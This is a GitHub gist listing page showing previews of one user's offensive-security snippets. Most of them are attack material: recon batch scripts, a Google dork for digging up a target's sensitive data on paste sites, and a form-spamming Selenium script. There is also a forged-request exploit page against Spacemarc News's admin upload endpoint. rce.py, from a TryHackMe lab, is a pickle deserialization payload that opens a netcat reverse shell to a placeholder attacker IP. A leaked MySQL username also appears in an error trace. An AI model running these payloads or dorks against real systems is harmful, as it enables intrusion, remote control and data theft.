Skip to content

Instantly share code, notes, and snippets.

View Zinkuth's full-sized avatar
🎯
Focusing

Zinkuth Zinkuth

🎯
Focusing
11 followers · 3 following
View GitHub Profile
@Zinkuth
Zinkuth / batchscript-3
Created November 28, 2021 13:25
@echo off
echo BillBug Hacker Group
echo INFORMATION GATHERING
echo IN PROGRESS...........................
net user
echo ================================================================
ipconfig -all
@Zinkuth
Zinkuth / batchscript-2
Created November 28, 2021 13:23
@echo off
echo Lazarus/Appleworm Hacker Group
echo INFORMATION GATHERING
echo IN PROGRESS...........................
hostname
echo ================================================================
whoami
@Zinkuth
Zinkuth / batchscript-1
Last active November 28, 2021 13:22
Batch script 1
@echo off
echo WaterBug Hacker Group
echo INFORMATION GATHERING
echo IN PROGRESS...........................
Rem Displays complete system information
systeminfo
echo ================================================================
@Zinkuth
Zinkuth / FSD
Created September 6, 2021 10:37
Finding Sensitive Data about Target (Bug Hunting)
Dork:
site:ideone.com | site:codebeautify.org | site:codeshare.io | site:codepen.io | site:site:ideone.com | site:codebeautify.org | site:codeshare.io | site:codepen.io | site:site:ideone.com | site:codebeautify.org | site:codeshare.io | site:codepen.io | site:site:ideone.com | site:codebeautify.org | site:codeshare.io | site:codepen.io | site:justpaste.it | site:pastebin.com | site:jsfiddle.net | site:trello.com | site:*.attlasian.net "$TARGET"
@Zinkuth
Zinkuth / speedsubmitter.py
Created April 14, 2021 10:00
This python program (used Selenium) tries to submit a random string into the input field of given website in a faster way.
import time
from selenium.webdriver import Firefox
from selenium.webdriver.firefox.options import Options
from selenium.webdriver.common.keys import Keys
# Configure the browser
options = Options()
options.set_headless()
assert options.headless
my_browser = Firefox(options=options)
@Zinkuth
Zinkuth / uachanger.py
Created April 14, 2021 09:53
This python program is used to send the customized User-Agent to the given URL.
import wx
from wx import html
from urllib import request
class MyHTMLFrame(wx.Frame):
def __init__(self, parent, title, haxedpage):
wx.Frame.__init__(
self,
@Zinkuth
Zinkuth / Spacemarc News Exploit.html
Created October 14, 2020 09:35
<html>
<body>
<script type="text/javascript">
function submitRequest()
{
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://172.17.0.2/sns/news/admin/inserisci.php", true);
xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8");
xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=---------------------------40332906111198093676802403210");
@Zinkuth
Zinkuth / mysql-error.txt
Created October 5, 2020 13:43
Test Results
PDOException: SQLSTATE[HY000] [1045] Access denied for user 'auieoadm_rcversi'@'localhost' (using password: YES) in /var/www/html/candid-ats/lib/ClsNaanalPDO.php:45
Stack trace:
#0 /var/www/html/candid-ats/lib/ClsNaanalPDO.php(45): PDO->__construct()
#1 /var/www/html/candid-ats/lib/ClsNaanalPDO.php(485): ClsNaanalPDO->__construct()
#2 /var/www/html/candid-ats/lib/DatabaseConnectionPDO.php(98): ClsNaanalPDO::getNamedInstance()
#3 /var/www/html/candid-ats/lib/DatabaseConnectionPDO.php(45): DatabaseConnection->connect()
#4 /var/www/html/candid-ats/lib/InstallationTests.php(334): DatabaseConnection::getInstance()
#5 /var/www/html/candid-ats/modules/install/ajax/ui.php(254): InstallationTests::checkMySQL()
#6 /var/www/html/candid-ats/ajax.php(130): include('/var/www/html/c...')
@Zinkuth
Zinkuth / ip2dh.py
Created August 10, 2020 04:58 — forked from mzfr/ip2dh.py
Convert IP address to Decimal or hexadecimal format
"""
You can run this in the following format:
For decimal: python3 ip2dh.py D <Ip-address>
For Hexadecimal: python3 ip2dh.py H <Ip-address>
"""
#!/usr/bin/python3
import sys
if len(sys.argv) < 3:
@Zinkuth
Zinkuth / rce.py
Created July 21, 2020 07:06 — forked from CMNatic/cloudSettings
TryHackMe OWASP-10-A8: Insecure Deserialization RCE PoC
import pickle
import sys
import base64
command = 'rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | netcat YOUR_TRYHACKME_VPN_IP 4444 > /tmp/f'
class rce(object):
def __reduce__(self):
import os
return (os.system,(command,))